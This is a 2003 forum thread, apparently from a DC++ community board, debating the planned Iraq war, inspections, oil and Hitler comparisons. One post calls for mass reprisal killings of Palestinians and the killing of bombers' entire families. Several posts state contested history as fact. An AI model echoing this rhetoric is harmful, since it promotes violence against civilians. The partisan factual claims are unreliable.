That image sends cold shivers up my spine, because if a man with intelligence and the ambition to get to the top no matter what obstacles need to removed coupled with the ethics I have seen him exhibit is the leader of USA then we are all in for one hell of a ride down Armageddon Alley.

Sarf
---
You're twisted, depraved, and rotten to the core... I like that in a person.

volkris
Posts: 121
Joined: 2003-02-02 18:07
Contact:

Post by volkris » 2003-02-16 18:20

sarf wrote:I thought they were there to ascertain whether Iraq has weapons of mass destruction. Or was that a secondary objective?


No, this is a widely held misconception. This never was and still isn't an objective at all. I mean come on, it's silly to think that those few men could possibly be able to find well hidden weapons in a country that size. Even if you increased the number by as much as France requests it still wouldn't be nearly enough.

No, the inspectors are there only to verify the information that Iraq gives them. If Iraq says that 100 rocket casings were turned into planters in the royal botanical gardens, then it's the inspectors' jobs to go look and count them. It is up to Iraq to prove that it has no weapons. The inspectors are there only to verify Iraq's specific claims, not to make claims of their own.

Well, it's a damned inconvenient time to have connections to the oil-industry. While not the reason to go to war, it might at least be a contributing factor, eh? Oh, sure, the oil is to go to the rebuilding of Iraq, but who is going to control the flow of oil, hmm? Suspicions should be raised, even if they are unfounded.


Oh sure, it's important to be suspicious. It's equally important to recognize when the suspicions don't pan out, though. In this case, the costs of taking those oil fields are far higher than the benfits to be gained by controlling them.

sarf wrote:
volkris wrote:After all, you've never convinced me as to why the international community allows France to continue to own fighter planes. Why don't you get into that, hmmm?

Maybe because they have to something to show on their military air-shows, hmm?


This is a joke, nobody get offended:
So they can jet away in retreat when marching wouldn't be fast enough.

scav
Posts: 23
Joined: 2003-02-15 07:19

Post by scav » 2003-02-16 19:46

First some important history (and still very actual)
------------------------------------------------------------
19 years ago defense minister Donald Rumsfeldt (yes, he was also defense minister back then) were
send by former president Ronald Reagan to improve the interchange with Iraq.
Reagan feard that a potentially Muslim revolution in Middle East would cause instability on the oil market and that would
have set US economy in crises. He supported Iraq with several billion dollars for the war against Iran.
1984 at the same time as Rumsfeldt revisited Iraq UN observers reported that Iraq were using mustard gas in major scale.
US didn't give a shit.
In fact huge American companies continued selling awesome lot of war-material to Iraq.
US helped Iraq with spying, planning and sharing pictures from spy-satellites to let Saddam know where he could make must damage to Iran’s soldiers with his chemical weapons..
US government provided bombs, even chemical and biological weapons. They even gave Iraq export licenses for strategically merchandise, chemicals, software’s for missile steering and equipment for nuclear development.
Also they sold helicopters that were (most likely) used to gas 5000 civil Kurds in the village of Halabja 1988.
Four month after Halabja an American company finished a huge chemical building in Iraq..
War between Iran and Iraq ended up with 1.000.000 victims..
----------------------------------------------
Many of Reagans closest men are now working for Bush...
This is plain facts and proves US personal interest in middle east.
Same double standard of morality goes for US previous support of Al Quida as well but that is another story.
I find the above historical point rather interesting right now..

It makes NO sense for oil to be a reason to GO to war

All of above was about oil - why is it so different now?
You keep claiming that Oil is no interest for US - the worlds next biggest producer Iraq does have a great
influence of the oil price and therefore can set US to be in a state of dependence.
US is terrified that Saddam might gain even more influence over the oil market as time goes by.
Possible upcoming conflict between Iraq and Saudi will get serious consequences for US.
I don't think oil is the ONLY reason - I just claims that is one of the factors.

And Yes - France and Russia does most of trading but how could a statement against war
even on economical bases be wrong? The other way around is far more arguable!

There is evidence out there, whether or not it is sufficient to be proof is kind of a personal opinion. I haven’t seen the proof myself, but plenty of people have and have had their opinions changed completely.
Speculations my friend, speculations..
As you obviously don’t know - Saddam and Usama isn't what I call allies... Usama clearly treat Saddam as a traitor of the Muslim believes.
But he probably will support Saddams if a war will come but that’s because Usama consider that a war against Islam.
There is only two things they have in common - they hate US and they are both crazy.

Whatever their reasons, the UN DID approve it

Its all about interpretation of that old agreement as I assume you are referring to..
For now: Obviously UN doesn't support war against Iraq so far...

It's the exact same thing as when Saddam piles civilians right next to a building that he knows is about to be hit.
Assumptions.. (but probably right)
US tried to deny some of the missiles were in fact destroying civilian hospitals and schools in Afghanistan
and that is similar attempt to dupe the world. (strikes were probably not intentionally but anyway)

The inspectors have already fulfilled their obligations by determining that Iraq is not interested in proving that it has disarmed. Their task is complete
Have you read Hans Blix and Muhamed ElBaradei latest inquiry?
*Iraq co-operates a lot better now than before.
*Inspectors access to military facilities has been without complains.
*Iraq has accepted help from South-Africa to disarm.
*Blix questions Colin Powells evidences and says that his photos about transportations doesn't necessarily need to be of a chemical/nuclear/biological nature and therefore not acceptable as "proofs"

Please let them FULFILL their jobs

Saddam is treating his people like animals, yes indeed.
But should US take upon their selves to carry through a modern crusade? What’s next - China and North Korea?
That is a matter for UN!

/Peace please..

RandyRB
Posts: 7
Joined: 2003-01-23 21:39
Location: USA

Post by RandyRB » 2003-02-16 23:17

I want peace to but,

I lost 2 of my cousins in the Towers.

It is time for the US to stop giving my tax money to all these countries. I mean all.

Sadam can not have nukes, no way am I going to live in fear of a syko. Blast his A_ _.

The US has been a sleeping giant for too long. Terrorist have been doing shi_ to us all over the world with no major responce.

As for Israel they should kill 1000 palastines for eack israel citizen that dies from a terrorist act. That would either stop them or eliminate them either way the problem is solved. Tell them that the bomber that kills will have his whole family line eliminated. Brother, sister, mother, father, grand mother, grand father, cousins, uncles, etc. all of them.

The world is changing and the US must stand it's ground.

We must confront threats on the US not wait to die and then to do something.

No more wait til something happens. F_ _ k that.

Iraq has been in breach of it's UN agreement for 10 years.

Inspectors are not suppose to look for stuff but to check to make sure they are doing what they are suppose to.

Iraq brought this on thereselves. Give up the weapons like they were suppose to.

They wouldn't be going thru this if they would of stayed where they belonged in "91".

They have bought 250 rocket engines that is against the agreement.

They rebuilt a rocket factory that is against the agreement.

They have found empty bomb shells. If you knew anything about chemical agents, they are stored seperate from the shell. Not to be put together until they are ready for use. So the chemicals were close by the shells. Believe me.

I have friends that were gassed in Desert Storm. They are dying from the inside out. Nervous systems desolving and a few other horrable things.

All you in Sweeden, France, would be crying for the US to help if he turns his bombs your way. We liberated your A_ _ es a while ago remember.
France the comunists best buddy. France gave up it's city to the germans with out a shot being fired. They rounded up the Jews to give to the germans with out being asked to. France a bunch of drunken Pu_ _ ies from way back.

France, germany, and russia have been doing things with Iraq that they don't want to become public. I would bet Weapons, Nukes, and weapon technologie to name few.

Semper Fi.
:twisted:
Image

please donate every little bit helps.

scav
Posts: 23
Joined: 2003-02-15 07:19

Post by scav » 2003-02-17 02:41

I lost 2 of my cousins in the Towers.
My deepest sympaties for you and your cousins. I share your grief.

[qoute]As for Israel they should kill 1000 palastines for eack israel citizen that dies from a terrorist act. That would either stop them or eliminate them either way the problem is solved. Tell them that the bomber that kills will have his whole family line eliminated. Brother, sister, mother, father, grand mother, grand father, cousins, uncles, etc. all of them.[/quote] That clearly shows that you know absolutely nothing about Israel/Palestina. I won't explain the whole situation now couse that would end up with more than 1000 lines or so.. Your suggestion is not far from whats beeing done right now... :evil: :evil:
Years of HUMILATION of the Palestinian people generates these actions.
The Palestinien people are desperate and I understand them!

ftp
Posts: 19
Joined: 2003-01-22 19:17
Location: Some where By the sea
Contact:

well put

Post by ftp » 2003-02-17 02:51

RandyRBright right on, You have stated much better than I could why the US needs to act.
Rather than retype it here is another post I made about this topic:
http://princessofdarkness.worldispnetwo ... &t=113&hl=

I would like to state this topic would be off topic if arney didn't feel the need to impress his political views upon the dc++ community.

Further, Do you really think if no one takes action against sadam he will not turn into the next Hitler? Or do you not care if he does? If not, please tell me what drugs your on 'cause I would love to live in such an insular world.

When faced with a chance to defeate a beast is it wrong fight it? What will you tell your childern after sadam has killed even more people? What if sadam was the leader of your country what would you want? If you live in a country that is not directly threatend by terrorist what makes you think yuo even have the right to have a say?
Auto Kick, Ban and/ or Nick Ban the leeches
http://www.f-t-p.net/dc/
If You know who made this version let me know.

scav
Posts: 23
Joined: 2003-02-15 07:19

Post by scav » 2003-02-17 04:17

If you live in a country that is not directly threatend by terrorist what makes you think you even have the right to have a say?

I don't see how Iraq has become such a instant threat to US ?
Saddam hasn't in 34 years attemptet to become a worldempiror - why would he become one now? (He is "just" a crazy dictator in Iraq)

These threat is based upon many things.. and its mostly from Al Quida (due to conflicts like Israel)
- do you really think these threats from Al Quida will go away after a war?
You must be joking or you are probably the most blind foldered man I ever have met..
If you start a war without UN approvel you'll probably end up with years of terror attacks within your own country..

You mentioned Hitler - he tried to take control over allmost the entire world with armed forces (mad man)
- kind of like what US does right now but they won't stop with allmost..
They need to be in control over the entire world
(I don't consider US as bad as Nazis but there are similarities)

Interesting question: Would WTC have happend if Clinton still were president? If so
- would he risk instability in the world by proclaiming war without UN approval?

In the meen time Israel is still developing chemical/biological/nuclear weapons... against all agreements!
But hey - never mind that just becasue Jewish society has
great settlement in America.
One of US example of personal interest and double standard of morality!

scav
Posts: 23
Joined: 2003-02-15 07:19

Post by scav » 2003-02-17 04:20

Am I the only one that sees similarities in Iraq and Vietnam?
The world hasn't seen these kind of united demonstrations sence Vietnam.
Bush should take that under consideration..

scav
Posts: 23
Joined: 2003-02-15 07:19

Post by scav » 2003-02-17 05:47

About my "Saddam not trying to become world emperor":
Don't bother argue with that, I'll explain..
Yes, he was politically, morally and every other way wrong when he attacked Kuwait and that is proof of his insanity.
BUT unlike US he hasn't sent armed forces around the world trying to proclaim his believes.
He isn't (as far as being proved) involved in Al Quida.
Therefore he isn't that kind of threat as you like to describe.

About my "Hitler comparison":
*He got in charge of Germany due to political dissatisfaction and a confidence-inspiring way to the people (bush?)
*Germany had interests in Polen, he desperately tried to make agreements with other countries to get acceptance of war. (bush?)
*He realized that the world opinion were against him and he would have difficulties to get away with it but
the preparation of war was to far gone and his arrogance made him ignore facts. (bush?)
*He had nothing to do there but he thought of himself as a great leader and that he was doing the right thing (bush?)
*He strongly believed that he was entitled to do these things and many of his people did believe in him (bush?)

There is several more comparisons but the space is limited

Now I spare you som time I hope.

yakko
Posts: 258
Joined: 2003-01-27 01:04
Contact:

Post by yakko » 2003-02-17 09:41

scav wrote:About my "Hitler comparison":
*He got in charge of Germany due to political dissatisfaction and a confidence-inspiring way to the people (bush?)
*Germany had interests in Polen, he desperately tried to make agreements with other countries to get acceptance of war. (bush?)
*He realized that the world opinion were against him and he would have difficulties to get away with it but
the preparation of war was to far gone and his arrogance made him ignore facts. (bush?)
*He had nothing to do there but he thought of himself as a great leader and that he was doing the right thing (bush?)
*He strongly believed that he was entitled to do these things and many of his people did believe in him (bush?)


What about these comparisons:
1934 - Hitler builds up Germany's army in violation of the Treaty of Versailles.
Today - Saddam builds up Iraq's chemical and biological weapons in violation of UN resolutions and also the cease fire that paused the Gulf War
That seems a little too similar to me. Look here to see the rest of what Hitler did. I think the US is stepping in and trying to stop this before it goes further. Saddam's bringing it on himself by breaking the cease fire agreements that paused the Gulf War on many occasions.

GargoyleMT
DC++ Contributor
Posts: 3212
Joined: 2003-01-07 21:46
Location: .pa.us

Godwin's Law

Post by GargoyleMT » 2003-02-17 10:51

scav wrote:About my "Hitler comparison":


Ah, thanks for ending this discussion. Ladies and gentlemen, it's over. I invoke Godwin's Law.

[KUN.NL]mepmuff
Posts: 73
Joined: 2003-01-06 09:32

Post by [KUN.NL]mepmuff » 2003-02-17 11:00

The Law is generally used on Usenet as an indicator of whether a
thread has gone on too long, who's playing fair and who's just slinging
mud, and who finally gets to "win" the discussion.


where's bobbish when there's a discussion to be won?

scav
Posts: 23
Joined: 2003-02-15 07:19

Post by scav » 2003-02-17 12:24

There many similaritys between these dictators - I most certanly would like to agree to that.
However Saddam have had these weapons 20 years and not seemed to used them "unfounded".
He used them during Iran and (doubtfully) in Gulf in minor extension compared to US
using depleeded Uranium causing severe damage to both sides.
US Soldiers from Gulf-war still suffers from Cancer by their own weapons - ironic..
Any use of chemical weapons is objectionable - nomather who is using them.
Sence we seems to refer to URLs, her is a couple of informative ones:
http://members.aol.com/bblum6/iraq2.htm (a bit long but definitely worth reading)
http://www.textfiles.com/news/saddam.txt A must read!!

Get some information about current situation before yelling WAR!
Saddam is no threat against US - its Al Quida.

volkris
Posts: 121
Joined: 2003-02-02 18:07
Contact:

Post by volkris » 2003-02-17 12:40

scav wrote:First some important history (and still very actual)


No, none of that was important at all :)
It was a different world then, with different motivations, some of which you stated. But end the end none of it matters. That was then, this is now.

All of above was about oil - why is it so different now?
You keep claiming that Oil is no interest for US - the worlds next biggest producer Iraq does have a great
influence of the oil price and therefore can set US to be in a state of dependence.
US is terrified that Saddam might gain even more influence over the oil market as time goes by.
Possible upcoming conflict between Iraq and Saudi will get serious consequences for US.
I don't think oil is the ONLY reason - I just claims that is one of the factors.


The similarities involved only point away from war with Iraq. If oil was the root consideration or even an important one, it would only serve to keep the US from going to war, as it keeps France, for example, from backnig the movement.

The US is not as terrified as you say. While Iraq is a huge producer of oil, even if it stopped selling oil today the US and the rest of the world would go on. There would be some pain, but in the end we would actually come out of it for the better.

And Yes - France and Russia does most of trading but how could a statement against war
even on economical bases be wrong? The other way around is far more arguable!


Because the arguments FOR war involve more important things, such as the safety of the world and validity of future agreements. It is economically not in our best intrest to go to war, but it is for other reasons.

Speculations my friend, speculations..
As you obviously don’t know - Saddam and Usama isn't what I call allies...


The enemy of my enemy...
I know the history of Saddam and Usama. That doesn't mean that there is no connection, and it doesn't mean that Saddam hasn't funded had any part in any other groups with anti-american goals.

It is NOT speculation to say that Saddam has had the capability in the past to hit targets with Very Bad Things. It is also NOT speculation that, despite the agreements, he has shown no proof that this stuff was destroyed. There is a very clear danger to the rest of the area over there, and there is stated intention, from him, to use his illegal weapons against targets that could be considered allies of the US, if not the US itself.

Its all about interpretation of that old agreement as I assume you are referring to..
For now: Obviously UN doesn't support war against Iraq so far...


The UN has passed over ten resolutions supporting war against Iraq. The latest one was just a couple of months ago. It could easily be said that the US is somewhat required to comply by the letters of the resolutions that the entire UN agreed to.

sarf wrote:
It's the exact same thing as when Saddam piles civilians right next to a building that he knows is about to be hit.
Assumptions.. (but probably right)


Not an assumption. They've released video tape showing this very thing happening.

Have you read Hans Blix and Muhamed ElBaradei latest inquiry?


Yes, I have. And you know what they say? Iraq's doing better, but they're still in breach. The fact that they're doing better doesn't change the fact that they're in breach of the resolution. Just because Hans sugarcoats the report doesn't change the facts he also presents.

It is a matter for the UN, but if the UN doesn't fulfill their obligations someone else has to. In this case, the UN seems to be able to pay lip service to fulfilling their obligations, but once it comes time to follow through they hide.

volkris
Posts: 121
Joined: 2003-02-02 18:07
Contact:

Post by volkris » 2003-02-17 12:42

scav wrote:Years of HUMILATION of the Palestinian people generates these actions.
The Palestinien people are desperate and I understand them!


Oh boo hoo.
A guy on the street looked at me the wrong way the other day, so I shot him. But it's ok because he hurt my feelings.

Seriously, I have no sympathy for a group of people who want someone else's land and use violence to try to get it, while turning down a very generous offer of some land of their own for free.

Locked